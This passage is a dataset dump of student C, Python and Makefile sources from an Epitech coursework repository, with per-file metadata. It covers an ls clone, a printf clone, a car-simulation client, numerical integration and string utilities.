1;\n int p = 0;\n\n while (str[i] == ' ')\n i++;\n while (str[i] == '|') {\n i++;\n p++;\n }\n return p;\n}\n\nint my_strlenpipe(char *str)\n{\n int i = 1;\n int p = 0;\n\n while (str[i] != '*') {\n if (str[i] == '|')\n return 1;\n i++;\n }\n return 0;\n}" }, { "alpha_fraction": 0.5051282048225403, "alphanum_fraction": 0.5256410241127014, "avg_line_length": 17.58730125427246, "blob_id": "76a476b2e4ed0fd23b7a3f79a6a7c09d72c71068", "content_id": "e40fe6eadd4b37b456737e7259650a75606cc24b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1170, "license_type": "no_license", "max_line_length": 53, "num_lines": 63, "path": "/tek1/AI/AIA_n4s_2019/src/ia.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** ia.c\n*/\n\n#include \"n4s.h\"\n\nvoid distrib(nfs_t *nfs)\n{\n while (1) {\n nfs->arr = receive_str(nfs);\n if (get_speed(nfs->axis, nfs) == 1)\n break;\n nfs->arr = receive_str(nfs);\n if (check_dir(nfs->arr, nfs->axis, nfs) == 1)\n break;\n }\n}\n\nchar **receive_str(nfs_t *nfs)\n{\n char **arr;\n\n my_putstr(nfs->pos);\n nfs->cmd = get_next_line(0);\n check_pos(nfs->cmd, nfs);\n nfs->cmd = check_str(nfs->cmd);\n arr = my_strtotab(nfs->cmd, ':');\n nfs->axis = my_atof(arr[15]);\n return arr;\n}\n\nvoid init_struct(nfs_t *nfs)\n{\n nfs->start = \"start_simulation\\n\";\n nfs->pos = \"get_info_lidar\\n\";\n nfs->stop = \"stop_simulation\\n\";\n nfs->dir = \"wheels_dir:\";\n}\n\nint main(void)\n{\n nfs_t nfs;\n init_struct(&nfs);\n\n get_pos(nfs.start, 0, &nfs);\n distrib(&nfs);\n return 0;\n}\n\nint check_management(float id, char *val, nfs_t *nfs)\n{\n my_putstr(\"wheels_dir:\");\n if (id < 0.0)\n my_putchar('-');\n my_putstr(val);\n val = get_next_line(0);\n if (check_pos(val, nfs) == 1)\n return (1);\n return (0);\n}" }, { "alpha_fraction": 0.49603959918022156, "alphanum_fraction": 0.5752475261688232, "avg_line_length": 19.612245559692383, "blob_id": "ea295ba2e657f1e01e6a17257cd9a1105eff67eb", "content_id": "45ebb0c09f0b44ff96f88a0ffa99673994601c01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1010, "license_type": "no_license", "max_line_length": 65, "num_lines": 49, "path": "/tek1/Game/MUL_my_defender_2019/lib/json/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2020\n## libjson\n## File description:\n## Makefile\n##\n\nSRC\t\t\t=\tjson_parse.c\t\\\n\t\t\t\tjson_parse_dict.c\t\\\n\t\t\t\tjson_parse_list.c\t\\\n\t\t\t\tjson_parse_number.c\t\\\n\t\t\t\tjson_parse_string.c\t\\\n\t\t\t\tjson_parse_value.c\t\\\n\t\t\t\tjson_stringify.c\t\\\n\t\t\t\tjson_stringify_value.c\t\\\n\t\t\t\tjson_stringify_string.c\t\\\n\t\t\t\tjson_stringify_double.c\t\\\n\t\t\t\tjson_stringify_dict.c\t\\\n\t\t\t\tjson_stringify_list.c\t\\\n\t\t\t\tjson_destroy.c\t\\\n\t\t\t\tread_json.c\t\\\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\nCFLAGS\t\t+=\t-I../../include\n\nOBJ \t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tlibjson.a\n\n$(OBJDIR)%.o:\t%.c\n\t\t@$(CC) $(CFLAGS) -o $@ -c $<\n\t\t@if test -s $*.c; then \\\n\t\techo -e \"\\033[00m\\033[36m [LIBJSON]\\033[01m\\033[35m Compiling \\\n\t\t\\033[00m\\033[36m$(SRCPATH)$*.c\\033[032m [OK]\\033[00m\";\\\n\t\telse \\\n\t\techo -e \"\\033[00m\\033[36m [LIBJSON]\\033[01m\\033[35m Compiling \\\n\t\t\\033[00m\\033[36m$(SRCPATH)$*.c\\033[00m\\ [Error]\"; fi\n\nall: \t$(NAME)\n\n$(NAME):\t$(OBJ)\n\t\t@ar rc $(NAME) $(OBJ)\n\t\t@cp $(NAME) ../\n\nclean:\n\t@rm -f $(OBJ)\n\nfclean: clean\n\t@rm -f $(NAME) ../$(NAME)\n" }, { "alpha_fraction": 0.5735294222831726, "alphanum_fraction": 0.6274510025978088, "avg_line_length": 12.666666984558105, "blob_id": "b0daa489af9fd4a6bf8dadf09ed94c1828731c02", "content_id": "0e56e7b5a26cd7957cfad5d171b2da21363601e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 204, "license_type": "no_license", "max_line_length": 34, "num_lines": 15, "path": "/tek1/Functionnal/CPE_matchstick_2019/lib/my/error.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_matchstick_2019\n** File description:\n** error.c\n*/\n\n#include \"my.h\"\n#include <unistd.h>\n\nint my_puterror(char *str)\n{\n write(2, str, my_strlen(str));\n return 84;\n}" }, { "alpha_fraction": 0.41908714175224304, "alphanum_fraction": 0.4699169993400574, "avg_line_length": 16.851852416992188, "blob_id": "47aa1a582d3e3f4736a232ca5c50bbeea8db4ddb", "content_id": "6747ed6a56821238625a1019d24a345cb434fce6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 967, "license_type": "no_license", "max_line_length": 77, "num_lines": 54, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/error.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_BSQ_2019\n** File description:\n** find error for bsq\n*/\n\n#include <unistd.h>\n#include <stdlib.h>\n#include \"my.h\"\n\nvoid test_argv(int argc)\n{\n if (argc != 2) {\n write(2, \"./bsq [map]\\n\", 13);\n exit (84);\n }\n}\n\nvoid find_file(int fd)\n{\n if (fd == -1) {\n write(2, \"Fichier introuvable\\n\", 21);\n write(2, \"./bsq [map]\\n\", 13);\n exit (84);\n }\n}\n\nvoid test_file(char *tab)\n{\n if (tab == NULL) {\n write(2, \"Fichier eronné\\n\", 16);\n write(2, \"./bsq [map]\\n\", 13);\n exit (84);\n }\n}\n\nvoid test_char(char letter)\n{\n if (letter != '.' && letter != 'o' && letter != '\\n' && letter != '\\0') {\n write(2, \"Fichier eronné\\n\", 16);\n write(2, \"./bsq [map]\\n\", 13);\n exit (84);\n }\n}\n\nvoid empty_file(char letter)\n{\n if (letter == '\\0') {\n write(2, \"Fichier eronné\\n\", 16);\n write(2, \"./bsq [map]\\n\", 13);\n exit (84);\n }\n}\n" }, { "alpha_fraction": 0.47235238552093506, "alphanum_fraction": 0.48734769225120544, "avg_line_length": 15.936508178710938, "blob_id": "0af0afd33ef6c92cc1fa830b17c976baf7e8a6a2", "content_id": "55aae6a379301d3af6e138c39cd76c5e4bdaa7f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1067, "license_type": "no_license", "max_line_length": 55, "num_lines": 63, "path": "/tek1/Piscine/CPool_Tree_2019/tree.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** firtree\n** File description:\n** firetree project by clément fleur\n*/\n\nvoid my_putchar(char c);\n\nvoid write_space(int size, int check_star)\n{\n int i = 1;\n\n while (i < (size) + check_star) {\n my_putchar(' ');\n i++;\n }\n}\n\nint check_line(int size, int row, int check_star)\n{\n int i = 0;\n\n while (i < size + row) {\n my_putchar('*');\n i++;\n }\n my_putchar('\\n');\n check_star -= 1;\n return check_star;\n}\n\nvoid write_end(int size, int check_star)\n{\n int i = 0;\n\n while (i <= size * 2) {\n my_putchar(' ');\n i++;\n }\n for (int p = 0; p < size; p++) {\n my_putchar('|');\n }\n my_putchar('\\n');\n}\n\nvoid tree(int size)\n{\n int row = 0;\n int i = 0;\n int check_star = 2;\n\n write_space(size, check_star);\n my_putchar(' ');\n my_putchar('*');\n my_putchar('\\n');\n for (int i = 0; i < 3; i++) {\n row += 2;\n write_space(size, check_star);\n check_star = check_line(size, row, check_star);\n }\n write_end(size, check_star);\n}\n" }, { "alpha_fraction": 0.6143791079521179, "alphanum_fraction": 0.6405228972434998, "avg_line_length": 12.909090995788574, "blob_id": "56348a49f336f0ede4831d1cbcc03a9fdef01967", "content_id": "334da57f8b71904005e8094ab337a00c67b5de8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 153, "license_type": "no_license", "max_line_length": 30, "num_lines": 11, "path": "/tek1/Piscine/CPool_finalstumper_2019/lib/my/my_strupcase.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strupcase\n** File description:\n** my_strupcase by clemenfleur\n*/\n\nchar *my_strupcase(char *str)\n{\n return (\"ne\");\n}\n" }, { "alpha_fraction": 0.5168776512145996, "alphanum_fraction": 0.5379746556282043, "avg_line_length": 16.592592239379883, "blob_id": "7e7ae0f9c4df608fbde3a5523373f1f3d5af13bf", "content_id": "12f6cc8c5bade6e185bfa77d806ebc01130c4a32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 474, "license_type": "no_license", "max_line_length": 43, "num_lines": 27, "path": "/tek1/Advanced/PSU_my_ls_2019/src/no_flag.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_ls_2019\n** File description:\n** no_flag.c\n*/\n\n#include \"my.h\"\n#include \"ls.h\"\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <dirent.h>\n#include <stdio.h>\n\nvoid no_flag(char *directory)\n{\n DIR *rep = opendir(directory);\n struct dirent *read;\n int i = 1;\n\n while ((read = readdir(rep)) != NULL) {\n if (read->d_name[0] != '.') {\n my_putstr(read->d_name);\n my_putstr(\" \");\n }\n }\n}" }, { "alpha_fraction": 0.5914300084114075, "alphanum_fraction": 0.5989038348197937, "avg_line_length": 26.88888931274414, "blob_id": "06ba0ec101427282a0a894ad342ae73f50e64b5e", "content_id": "142572c2b884c7483cda91c22815bd11ebddfed2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2007, "license_type": "no_license", "max_line_length": 79, "num_lines": 72, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/animation2.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** animation2\n*/\n\n#include \"game.h\"\n#include \"json.h\"\n#include <stdlib.h>\n\nvoid animation_destroy(animation_t *anim)\n{\n ll_destroy_content(anim->frames);\n ll_destroy(anim->frames);\n free(anim);\n}\n\nvoid append_frame(animation_t *anim, int time, sfIntRect rect)\n{\n animation_frame_t *frame = malloc(sizeof(animation_frame_t));\n\n frame->rect = rect;\n frame->time = time;\n anim->frames = ll_append(anim->frames, frame);\n}\n\nanimation_t *anim_from_spritesheet(sfSprite *s, sfIntRect size,\n vector2i_t frame_count_and_len, vector2i_t starting_frame)\n{\n animation_t *anim = create_animation(s);\n vector2i_t pos = starting_frame;\n int fcount = frame_count_and_len.x;\n int flength = frame_count_and_len.y;\n\n flength *= 1000;\n for (int i = 1; i <= fcount; i++) {\n append_frame(anim, i * flength, create_int_rect(pos.x * size.width,\n pos.y * size.height, size.width, size.height));\n pos.x++;\n if (pos.x >= size.left) {\n pos.y++;\n pos.x = 0;\n }\n if (pos.y >= size.top)\n break;\n }\n return anim;\n}\n\nanimation_t *import_animation(char *file)\n{\n char *file_path = my_strconcat(\"./assets/animations/\", file);\n json_object_t *obj = my_free_assign(file_path, read_json(file_path));\n dictionary_t *settings = dict_get((dictionary_t *)(obj->data), \"settings\");\n animation_t *anim = create_animation(NULL);\n json_object_t *frames = dict_get((dictionary_t *)(obj->data), \"frames\");\n int time;\n linked_list_t *coords;\n sfIntRect rect;\n\n anim->loop = *(int *) dict_get(settings, \"loop\");\n anim->frames = 0;\n for (json_object_t *i = frames; i; i = i->next) {\n time = *(int *) dict_get((dictionary_t *)i->data, \"time\");\n coords = dict_get((dictionary_t *)i->data, \"rect\");\n rect = int_rect_from_ll(coords);\n append_frame(anim, time, rect);\n }\n json_destroy(obj);\n return anim;\n}" }, { "alpha_fraction": 0.30626779794692993, "alphanum_fraction": 0.3461538553237915, "avg_line_length": 15.714285850524902, "blob_id": "6a72699b3545cdaf7a593609e309f2cd16e4996a", "content_id": "4e1e8929a14724990a6a7c7354c055111b509217", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 702, "license_type": "no_license", "max_line_length": 54, "num_lines": 42, "path": "/tek1/Advanced/PSU_navy_2019/lib/my_getnbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_getnb\n** File description:\n** lib - mehdi.zehri\n*/\n\n#include \"navy.h\"\n\nint neg(char const *str)\n{\n int i = 0;\n\n while (str[i] != '\\0') {\n if (str[i - 1] == '-')\n return 1;\n i++;\n }\n return 0;\n}\n\nint my_getnbr(char *str)\n{\n int i = 0;\n int a = 0;\n int compt = 10;\n\n while (str[i] != '\\0') {\n if (str[i] >= '0' && str[i] <= '9') {\n a = a * 10;\n a = a + (str[i] - 48);\n }\n if (str[i] < '0' || str[i] > '9') {\n if (str[i - 1] >= '0' && str[i -1] <= '9')\n break;\n }\n i++;\n }\n if (neg(str) == 1)\n a = a * (-1);\n return (a);\n}\n" }, { "alpha_fraction": 0.37382689118385315, "alphanum_fraction": 0.43952032923698425, "avg_line_length": 21.845237731933594, "blob_id": "5cce8245dffa87d0ad78a99907029a3f559b7fe0", "content_id": "f54637e12817e0781aa81d89511ea9f8f51dc31b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1918, "license_type": "no_license", "max_line_length": 80, "num_lines": 84, "path": "/tek1/Mathématique/110borwein_2019/calculator.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 110borwein_2019\n## File description:\n## calculator.py\n##\n\nimport math\n\ndef call_all_functions(n):\n h = float(5000) / 10000\n a = 0\n b = 5000\n\n print(\"Midpoint:\")\n midpoint(n, h, a, b, 0)\n print(\"\\nTrapezoidal:\")\n trapezoidal(n, h, a, b, 0)\n print(\"\\nSimpson:\")\n simpson(n, h, a, b, 0)\n\ndef borwein(n, x):\n result = 1.0\n k = 0\n\n while k <= n:\n if x != 0:\n result = result * (math.sin(x / ((2 * k) + 1)) / (x / ((2 * k)+ 1)))\n k = k + 1\n return result\n\ndef midpoint(n, h, a, b, result):\n i = 0\n res = 0.0\n\n for i in range(1, 10000 + 1):\n res += h * borwein(n, a - (0.5 * h) + (i * h))\n p = res - (math.pi / 2)\n if p < 0:\n p = p * (-1)\n print (\"I{:.0f} = {:.10f}\".format(n, res))\n print (\"diff = {:.10f}\".format(p))\n return 0\n\ndef trapezoidal(n, h, a, b, result):\n i = float(1)\n\n while (i < 10000):\n x = i * h\n result += borwein(n, x)\n i = i + 1\n result = ((result * 2) + borwein(n, a) + borwein(n, b))\n calc = result * h / 2\n p = calc - (math.pi / 2)\n if p < 0:\n p = p * (-1)\n print (\"I{:.0f} = {:.10f}\".format(n, calc))\n p = round(p, 10)\n if (p == -0):\n print(\"diff = 0.0000000000\")\n else:\n print (\"diff = {:.10f}\".format(p))\n\ndef simpson(n, h, a, b, result):\n i = 0\n\n while (i < 10000):\n x = i * h\n if (i == 0):\n result += 4 * borwein(n, x + (h / 2))\n else:\n result += (2 * borwein(n, x)) + (4 * borwein(n, x + (h / 2)))\n i += 1\n result = (borwein(n, a) + borwein(n, b) + result) * h / 6\n p = result - (math.pi / 2)\n if p < 0:\n p = p * (-1)\n print (\"I{:.0f} = {:.10f}\".format(n,result))\n p = round(p, 10)\n if (p == -0):\n print(\"diff = 0.0000000000\")\n else:\n print (\"diff = {:.10f}\".format(p))" }, { "alpha_fraction": 0.4315948486328125, "alphanum_fraction": 0.44973546266555786, "avg_line_length": 21.440677642822266, "blob_id": "390d91e83b50bb59cd30ac5e2a0d17d864933a2f", "content_id": "6d22e257bb25540244fa7b657db356befb46e30a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1323, "license_type": "no_license", "max_line_length": 79, "num_lines": 59, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_strtrimwhitesp.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** my_strtrimwhitesp\n*/\n\n#include \"tools.h\"\n#include <stdlib.h>\n\nint is_whitespace(char c)\n{\n return (c == ' ' || c == '\\t' || c == '\\n' || c == '\\r');\n}\n\nchar *my_strtrimwhitesp(char *str)\n{\n int count = 0;\n char *new_str;\n int i = 0;\n\n for (i = 0; str[i]; i++)\n if (is_whitespace(str[i]))\n count++;\n new_str = malloc(sizeof(char) * (my_strlen(str) - count + 1));\n count = 0;\n for (i = 0; str[i]; i++) {\n if (is_whitespace(str[i]))\n count++;\n else\n new_str[i - count] = str[i];\n }\n new_str[i - count] = 0;\n return new_str;\n}\n\nchar *my_trim_keep_str(char *str)\n{\n int count = 0;\n int trim = 0;\n char *new_str;\n int i = 0;\n\n for (i = 0; str[i]; i++)\n if (is_whitespace(str[i]) && trim) count++;\n else if (str[i] == '\"' && (i == 0 || str[i - 1] != '\\\\')) trim = !trim;\n new_str = malloc(sizeof(char) * (my_strlen(str) - count + 1));\n count = 0;\n trim = 1;\n for (i = 0; str[i]; i++) {\n if (is_whitespace(str[i]) && trim) count++;\n else {\n if (str[i] == '\"' && (i == 0 || str[i - 1] != '\\\\')) trim = !trim;\n new_str[i - count] = str[i];\n }\n }\n new_str[i - count] = 0;\n return new_str;\n}" }, { "alpha_fraction": 0.4201183319091797, "alphanum_fraction": 0.4289940893650055, "avg_line_length": 21.759614944458008, "blob_id": "6f44be844dc7f29a5e9cec284ac4f645669174e9", "content_id": "a90c73828aff6d2b57bb8d5f15a90d1d5b9d4615", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2366, "license_type": "no_license", "max_line_length": 64, "num_lines": 104, "path": "/tek1/Advanced/PSU_navy_2019/lib/my_printf.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_printf_2019\n** File description:\n** my_printf.c\n*/\n\n#include <stdarg.h>\n#include \"navy.h\"\n\nint exception(va_list list, char *str, int i)\n{\n switch (str[i + 1]) {\n case 'd':\n my_put_long(va_arg(list, long));\n break;\n case 'u':\n my_put_unsigned_long(va_arg(list, unsigned long));\n break;\n case 'x':\n base_hexa_long(va_arg(list, unsigned long));\n break;\n case 'o':\n base_long(va_arg(list, unsigned long), 8);\n break;\n }\n}\n\nvoid first_cond(va_list list, char *str, int i)\n{\n switch (str[i]) {\n case 'c':\n my_putchar(va_arg(list, int));\n break;\n case 's':\n my_putstr(va_arg(list, char *));\n break;\n case 'i':\n my_put_nbr(va_arg(list, int));\n break;\n case 'd':\n my_put_nbr(va_arg(list, int));\n break;\n case 'l':\n exception(list, str, i);\n break;\n case 'u':\n my_put_unsigned_nbr(va_arg(list, unsigned int));\n break;\n }\n}\n\nvoid second_cond(va_list list, char *str, int i)\n{\n switch (str[i]) {\n case 'o':\n base(va_arg(list, unsigned int), 8);\n break;\n case 'b':\n base(va_arg(list, unsigned int), 2);\n break;\n case 'x':\n base_hexa(va_arg(list, unsigned int));\n break;\n case 'X':\n base_hexa_upper(va_arg(list, unsigned int));\n break;\n case 'S':\n my_putnprintable(va_arg(list, char *));\n break;\n case '\\n':\n my_putstr(\"%\\n\");\n }\n}\n\nint check_conditions(char *str, int i)\n{\n if (str[i] == '%')\n my_putchar('%');\n if (str[i] == 'l' && (str[i + 1] == 'd' || str[i + 1] == 'o'\n || str[i + 1] == 'u' || str[i + 1] == 'x'))\n return 1;\n return 0;\n}\n\nint my_printf(char *str, ...)\n{\n va_list list;\n int i = 0;\n\n va_start(list, str);\n while (str[i] != '\\0') {\n if (str[i] == '%') {\n i++;\n first_cond(list, str, i);\n second_cond(list, str, i);\n if (check_conditions(str, i) == 1)\n i++;\n } else\n my_putchar(str[i]);\n i++;\n }\n va_end(list);\n}" }, { "alpha_fraction": 0.44315990805625916, "alphanum_fraction": 0.5587668418884277, "avg_line_length": 19.372549057006836, "blob_id": "2d8ac3595e36aca9c1f9e4da20cea638099a5af8", "content_id": "4375831c6c90885d5cf292b7b76ece79b2a6139b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1038, "license_type": "no_license", "max_line_length": 63, "num_lines": 51, "path": "/tek1/Functionnal/CPE_corewar_2019/asm/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## folder_name\n## File description:\n## Makefile\n##\n\nNAME = asm\n\nSRC = src/main.c \\\n\nCC\t\t=\tgcc\n\nMK\t\t=\tmake --no-print-directory\n\nRM\t\t=\trm -f\n\nCFLAGS\t+=\t-Iinclude/ -L../lib/phoenix/ -lphoenix\n\nCURSES += -l ncurses\n\nOBJ = $(SRC:.c=.o)\n\n$(OBJDIR)%.o:\t\t%.c\n\t\t\t@$(CC) $(CFLAGS) -o $@ -c $<\n\t\t\t@if test -s $*.c; then \\\n\t\t\techo -e \"\\033[01m\\033[35m Compiling \\033[00m\\\n\t\t\t\\033[36m$(SRCPATH)$*.c\\033[032m [OK]\\033[00m\";\\\n\t\t\telse \\\n\t\t\techo -e \"\\033[01m\\033[33m Compiling \\033[00m\\\n\t\t\t\\033[36m$(SRCPATH)$*.c\\033[00m\\ [Error]\"; fi\n\n$(NAME):\t$(OBJ)\n\t\t\t@echo -e \"\\033[01m\\033[31mBuilding...\\033[00m\"\n\t\t\t@$(MK) -C lib/phoenix/\n\t\t\t@$(CC) $(OBJ) -o $(NAME) $(CFLAGS)\n\t\t\t@echo -e \"\\033[01m\\033[32mCompilation done: ${NAME}\\033[00m\"\n\nall:\t\t$(NAME)\n\nclean:\n\t\t\t@$(RM) $(OBJ)\n\t\t\t@echo -e \"\\033[01m\\033[31mRemoving objects...\\033[00m\"\n\t\t\t@$(MK) clean -C lib/phoenix/\n\nfclean:\t\tclean\n\t\t\t@$(RM) $(NAME)\n\t\t\t@echo -e \"\\033[01m\\033[31mRemoving binary: ${NAME}\\033[00m\"\n\t\t\t@$(MK) fclean -C lib/phoenix/\n\nre:\t\t\tfclean all" }, { "alpha_fraction": 0.5568181872367859, "alphanum_fraction": 0.5833333134651184, "avg_line_length": 13.666666984558105, "blob_id": "05645a0e890241f3fea0aa5373bd4c9c19bea7b4", "content_id": "385ede5439eee4152a955e7d7d47ddd49f21effd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 264, "license_type": "no_license", "max_line_length": 49, "num_lines": 18, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_get.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_get.c\n*/\n\n#include \"pushswap.h\"\n\nstruct req* get_request()\n{\n struct req *req = malloc(sizeof(struct req));\n\n req->stat = 0;\n req->sorted_a = 0;\n req->sorted_b = 0;\n return (req);\n}\n" }, { "alpha_fraction": 0.37681159377098083, "alphanum_fraction": 0.4492753744125366, "avg_line_length": 18.31999969482422, "blob_id": "67ac32b0b8df5c175d634bd4fdc3e4bea3165658", "content_id": "3951eee290f6bd9291edd1323a44162f907c25be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 483, "license_type": "no_license", "max_line_length": 56, "num_lines": 25, "path": "/tek1/Piscine/CPool_match-nmatch_2019/match.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** match\n** File description:\n** match by clement fleur\n*/\n\nint matchmatch(char *s1, char *s2)\n{\n if (*s1 && *s2 && *s1 == *s2)\n return (match(s1 + 1, s2 + 1));\n if (!(*s1) && !(*s2))\n return (1);\n return (0);\n}\n\nint match(char *s1, char *s2)\n{\n if (*s1 && *s2 == '*')\n return (match(s1, s2 + 1) || match(s1 + 1, s2));\n else if (!(*s1) && *s2 == '*')\n return (match(s1, s2 + 1));\n else\n matchmatch(s1, s2);\n}\n" }, { "alpha_fraction": 0.4924437999725342, "alphanum_fraction": 0.5068190097808838, "avg_line_length": 25.598039627075195, "blob_id": "70811250881cf434fe8bdacfc6dfdbf3060182e4", "content_id": "b9be1fff9475fb37c85a649957977345f7851d12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2713, "license_type": "no_license", "max_line_length": 78, "num_lines": 102, "path": "/tek1/Advanced/PSU_my_ls_2019/src/l_flag.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_ls_2019\n** File description:\n** l_flag.c\n*/\n\n#include <pwd.h>\n#include <grp.h>\n#include <stdio.h>\n#include <time.h>\n#include <dirent.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <pwd.h>\n#include <grp.h>\n#include <stdio.h>\n#include <time.h>\n#include \"ls.h\"\n#include \"my.h\"\n\nvoid mydir(struct stat sb)\n{\n (S_ISDIR(sb.st_mode) != 0) ? my_putstr(\"d\") :\n (S_ISSOCK(sb.st_mode) != 0) ? my_putstr(\"s\") :\n (S_ISBLK(sb.st_mode) != 0) ? my_putstr(\"b\") :\n (S_ISCHR(sb.st_mode) != 0) ? my_putstr(\"c\") :\n (S_ISLNK(sb.st_mode)!= 0) ? my_putstr(\"l\") :\n (S_ISFIFO(sb.st_mode) != 0) ? my_putstr(\"p\") : my_putstr(\"-\");\n}\n\nvoid my_rights(struct stat sb)\n{\n ((sb.st_mode & S_IRUSR) != 0) ? my_putstr(\"r\") : my_putstr(\"-\");\n ((sb.st_mode & S_IWUSR) != 0) ? my_putstr(\"w\") : my_putstr(\"-\");\n ((sb.st_mode & S_IXUSR) != 0) ? my_putstr(\"x\") : my_putstr(\"-\");\n ((sb.st_mode & S_IRGRP) != 0) ? my_putstr(\"r\") : my_putstr(\"-\");\n ((sb.st_mode & S_IWGRP) != 0) ? my_putstr(\"w\") : my_putstr(\"-\");\n ((sb.st_mode & S_IXGRP) != 0) ? my_putstr(\"x\") : my_putstr(\"-\");\n ((sb.st_mode & S_IROTH) != 0) ? my_putstr(\"r\") : my_putstr(\"-\");\n ((sb.st_mode & S_IWOTH) != 0) ? my_putstr(\"w\") : my_putstr(\"-\");\n ((sb.st_mode & S_IXOTH) != 0) ? my_putstr(\"x \") : my_putstr(\"- \");\n}\n\nchar *mytime(char *str)\n{\n char *str2;\n int j = 0;\n int i = 4;\n\n str2 = malloc(my_strlen(str) * sizeof(*str));\n while (i <= 15) {\n if (i == 7)\n str2[j++] = '.';\n str2[j++] = str[i++];\n }\n str2[j] = '\\0';\n return (str2);\n}\n\nvoid my_aff_data(struct stat sb, struct passwd *pass, struct group *group)\n{\n pass = getpwuid(sb.st_uid);\n group = getgrgid(pass->pw_gid);\n mydir(sb);\n my_rights(sb);\n my_put_nbr(sb.st_nlink);\n my_putchar(' ');\n my_putstr(pass->pw_name);\n my_putchar(' ');\n my_putstr(group->gr_name);\n my_putchar(' ');\n my_put_nbr(sb.st_size);\n my_putchar(' ');\n my_putstr(mytime(ctime(&sb.st_mtime)));\n my_putchar(' ');\n}\n\nvoid l_flag(char *name)\n{\n DIR *dirp = opendir(name);\n struct stat sb;\n struct passwd *pass;\n struct group *group;\n struct dirent *list;\n char path[2048];\n\n while ((list = readdir(dirp)) != NULL) {\n if (my_strcmp(list->d_name, \".\") && my_strcmp(list->d_name, \"..\")) {\n my_strcpy(path, name);\n my_strcat(path, \"/\");\n my_strcat(path, list->d_name);\n lstat(path, &sb);\n my_aff_data(sb, pass, group);\n my_putstr(list->d_name);\n my_putchar('\\n');\n }\n }\n closedir(dirp);\n}\n" }, { "alpha_fraction": 0.42134830355644226, "alphanum_fraction": 0.4410112500190735, "avg_line_length": 16.816667556762695, "blob_id": "91c57b09a198ada8320cb09ac5499bcdc87b4674", "content_id": "2c07c5e6eb4aca9642c2fcf70728fe4a330d8c3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1068, "license_type": "no_license", "max_line_length": 61, "num_lines": 60, "path": "/tek1/Advanced/PSU_my_ls_2019/src/check.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_ls_2019\n** File description:\n** check.c\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include \"my.h\"\n#include \"ls.h\"\n\nvoid checkdescription(char *arg, ls_t *ls)\n{\n int i = 1;\n while (arg[i]) {\n switch (arg[i]) {\n case 'l':\n ls->l = 1;\n break;\n case 'r':\n ls->r = 1;\n break;\n case 't':\n ls->t = 1;\n break;\n default:\n my_putstr(\"Wrong description: only -l, -r, -t\");\n exit(84);\n break;\n }\n i++;\n 